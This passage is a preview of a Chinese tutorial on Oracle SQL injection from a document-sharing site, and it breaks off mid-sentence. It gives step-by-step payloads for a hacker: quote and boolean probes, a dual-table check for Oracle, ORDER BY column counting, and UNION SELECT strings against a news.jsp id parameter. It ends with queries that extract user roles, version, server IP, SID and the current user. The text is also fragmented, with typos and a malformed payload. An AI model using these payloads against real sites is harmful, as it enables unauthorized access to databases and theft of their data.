资源描述:
《oracle渗透之websql注射技术攻防剖析》由会员上传分享,免费在线阅读,更多相关内容在行业资料-天天文库。
1、在Oracle数据库中,PL/SQL注入攻击是过程、函数、触发类的一种方法.SQL注入攻击理由的原理是SQL语法,尤其的动态SQL语法,针对的是编程过程中的漏洞,攻击者通过在应用程序中预先定义好的查询语句结尾加上额外的SQL语句元素,欺骗和数据库服务器执行非授权的任意查询,SQL注入攻击就发生了.这类应用程序一般网络应用程序居多,因为它允许用户输入查询条件.并将查询条件嵌入SQL请求语句中,发送到与该应用程序相关联的数据库服务器中去执行.1.漏洞勘察首先,黑客先寻找一个存在注射漏洞的页面,通常这类页面是动态的.漏洞查找过程可使用手工或者工具进行.如果手
2、工查找,可在动态链接地址后边添加一个“'”单引号,如果服务器没有屏蔽错误显示,这时就会爆出相关错误信息,通常会包含Oracle字样的信息现在还需要进一步进行判断,这时可使用经典的and语句来进行判断.语句如下:/info/news.jsp?id=1789and1=1'返回正常/info/news.jsp?id=1789and1=2'返回空白或错误如果和以上判断语句的结果相同,那么可以断定存在注射漏洞.另外对于字符型注射的判断可使用如下语句:/info/list.jsp?name=test'and''
3、
4、'1'='1'返回正常/info/list.jsp
5、?name=test'and''
6、
7、'1'='2'返回空白或者错误如果和以上判断的结果相同,那么可以断定当前链接存在注射漏洞.且类型为字符型注射漏洞.现在还需要对后台数据库进行最后确认,提交如下语句:/info/news.jps?id=1789And0<>(selectcount(*)fromdual)-'返回正常若提交以上语句正常显示页面,则说明后台数据库确实为Oracle,因为dual表是Oracle独有的.到这里漏洞勘测已经结束.2.准确定位显示字段由于Oracle支持Union查询,所以没必要使用原始的方法进行逐个猜解.不过Oracle在定位字
8、段的时候非常麻烦,因为Oracle不支持自动匹配数据类型,所以得一个一个去测试,关于字段数量的测试可使用如下语句:/info/news.jps?id=1789orderby13'返回正常/info/news.jps?id=1789orderby14'返回错误测试结果为当前有13个字段.分别将这13个字段替换成"NULL"(注:NULL匹配任意数据类型).构造Union查询语句,具体语句如下:/info/news.jps?id=1789and1=2unionselectNULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NUL
9、L,NULL,NULL,NULL,NULLfromdual--执行以上语句后.现在来检测当前字段的数据类型,在NULL的前后加上''引号,如果返回正常则说明该字段为字符型,如果返回错误有可能是数字型,如果不是数字型,那么就是其他类型了.经过测试在第3456789101213位置加上单引号均返回正常页面,说明这几个字段是字符型的,具体语句如下/info/news.jps?id=1789and1=2unionselect1,2,'NULL','NULL','NULL','NULL','NULL','NULL','NULL','NULL',11,'NULL'
10、,'NULL'fromdual--将所有NULL都替换成对应的数字,具体语句如下:/info/news.jps?id=1789and1=2unionselect1,2,'3','4',5','6','7','8','9','10',11,'12','13'fromdual--提交以上语句,页面显示了数字3这个字段是黑客苦苦寻找的,将会利用它爆出想要的数据.3.Union爆数据通过以上的判断,终于找到可以显示信息的地方,字段3可以显示想要的数据.Oracle在启动之后,把系统要用的一些变量都放置到一些特定的视图当中,可以利用这些视图获得想要的数据,通常非
11、常重要的信息有:当前用户权限(select*fromsession_roles)当前数据库版本(selectbannerfromsys.v_$versionwhererownum=1)服务器监听IP(selectutl_inaddr.get_host_addressfromdual)服务器操作系统(selectmemberfromv$logfilewhererownum=1)服务器sid(远程连接需要,selectinstance_namefromv$instance;)当前连接用户(selectSYS_CONTEXT('USERENV','CURRE
12、NT_USER')fromdual)......比如想查看当前Oracle数据库的版本,只需要